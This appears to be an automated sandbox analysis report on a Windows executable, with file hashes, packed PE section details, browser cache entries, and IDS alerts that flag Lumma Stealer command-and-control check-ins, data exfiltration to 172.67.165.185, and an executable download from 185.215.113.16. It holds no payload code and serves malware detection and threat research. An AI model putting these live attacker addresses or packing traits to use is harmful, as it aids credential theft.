URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.524638505106476
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	O53VxanH6A.exe
File size:	2'902'528 bytes
MD5:	9b57fb40cc559ecac791f39ca8916ed8
SHA1:	a211483d1ab7012ca4c523fccf893b2621238509
SHA256:	a9b14702444e713d91ef913475ab4b76e346566c08e71518229a0578224c0fd8
SHA512:	3cfbc9ba0744b863315eb7a2f57eb756cc6b8e5d743f92d54cc02ea18fd5fff314cd7ac9f7e23bac2f89d5ef2ee3d277f27f09cafd23823c06b8430d7b5a53a0
SSDEEP:	24576:XgEKCVt4G/YGcPUbAbqfLHHyhvm7pGlpnJH9vORQGuBApDv3axLWLUdrkGya0bCs:QEKkt4Gxb4vmlFxp/ap1mHKu
TLSH:	21D52A92690672CFD48E27749C27CD42595F47F947204AC3DC68B4BABD63EC112BBC2A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@..........................@/.......,...@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6f1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5958DD62BAh
movaps xmm5, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5958DD82B5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	9d5228d361de6e3dc83f82559725c987	False	0.9995659722222222	data	7.974937518106936	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lbjmjnxy	0x55000	0x29b000	0x29ae00	406df21d615cc94b0612bc2d03fc5a84	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pixbpiqe	0x2f0000	0x1000	0x400	7b314e575fca2347e5ecd67c8b083a1b	False	0.744140625	data	5.815882630293257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f1000	0x3000	0x2200	a058a6f6595b3459e65c83d0dc19858d	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T14:56:09.952708+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	172.67.165.185	443	TCP
2024-12-27T14:56:10.586341+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49701	172.67.165.185	443	TCP
2024-12-27T14:56:10.586341+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	172.67.165.185	443	TCP
2024-12-27T14:56:12.183972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T14:56:17.477436+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T14:56:17.477436+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	172.67.165.185	443	TCP
2024-12-27T14:56:19.072492+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	172.67.165.185	443	TCP
2024-12-27T14:56:21.706734+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49715	172.67.165.185	443	TCP
2024-12-27T14:56:22.740041+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49715	172.67.165.185	443	TCP
2024-12-27T14:56:24.239831+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49723	172.67.165.185	443	TCP
2024-12-27T14:56:27.477454+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49736	172.67.165.185	443	TCP
2024-12-27T14:56:30.099958+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49742	172.67.165.185	443	TCP
2024-12-27T14:56:35.656430+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49753	172.67.165.185	443	TCP
2024-12-27T14:56:36.292473+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49753	172.67.165.185	443	TCP
2024-12-27T14:56:37.849481+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49759	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:56:01.992002010 CET	49671	443	192.168.2.7	204.79.197.203
Dec 27, 2024 14:56:02.288660049 CET	49674	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:02.289798975 CET	49675	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:02.398108959 CET	49672	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:04.398005962 CET	49671	443	192.168.2.7	204.79.197.203
Dec 27, 2024 14:56:08.416596889 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:08.676816940 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:08.676856041 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:08.676959991 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:08.686667919 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:08.686705112 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:08.788640022 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:09.210553885 CET	49671	443	192.168.2.7	204.79.197.203
Dec 27, 2024 14:56:09.538602114 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:09.952622890 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:09.952708006 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:09.956535101 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:09.956551075 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:09.956855059 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.007371902 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.009488106 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.009512901 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.009618044 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.586347103 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.586425066 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.586559057 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.589167118 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.589190006 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.589459896 CET	49701	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.589467049 CET	443	49701	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.600317001 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.600372076 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:10.600440979 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.600771904 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:10.600790024 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:11.038614988 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:11.897996902 CET	49674	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:11.898015976 CET	49675	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:12.007395983 CET	49672	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:12.183872938 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:12.183971882 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:12.185343027 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:12.185372114 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:12.185784101 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:12.187042952 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:12.187042952 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:12.187160015 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:14.023056984 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:15.144929886 CET	443	49700	104.98.116.138	192.168.2.7
Dec 27, 2024 14:56:15.145081043 CET	49700	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:17.477452993 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477504969 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477536917 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477566004 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477579117 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.477592945 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477607012 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477622986 CET	49702	443	192.168.2.7	172.67.165.185
